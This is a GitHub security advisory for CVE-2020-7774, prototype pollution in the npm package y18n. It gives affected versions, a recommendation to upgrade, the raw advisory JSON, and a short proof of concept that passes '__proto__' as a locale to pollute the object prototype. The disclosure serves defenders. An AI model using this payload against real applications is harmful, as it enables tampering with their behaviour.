ghsa-c4w7-xm78-47vh
Vulnerability from github
Published
2021-03-29 16:05
Modified
2023-09-07 20:22
Severity ?
7.3 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Summary
Prototype Pollution in y18n
Details

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

```js const y18n = require('y18n')();

y18n.setLocale('proto'); y18n.updateLocale({polluted: true});

console.log(polluted); // true ```

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-12T21:23:11Z",
    "nvd_published_at": "2020-11-17T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require(\u0027y18n\u0027)();\n\ny18n.setLocale(\u0027__proto__\u0027);\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.",
  "id": "GHSA-c4w7-xm78-47vh",
  "modified": "2023-09-07T20:22:08Z",
  "published": "2021-03-29T16:05:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/issues/96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yargs/y18n"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-Y18N-1021887"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in y18n"
}


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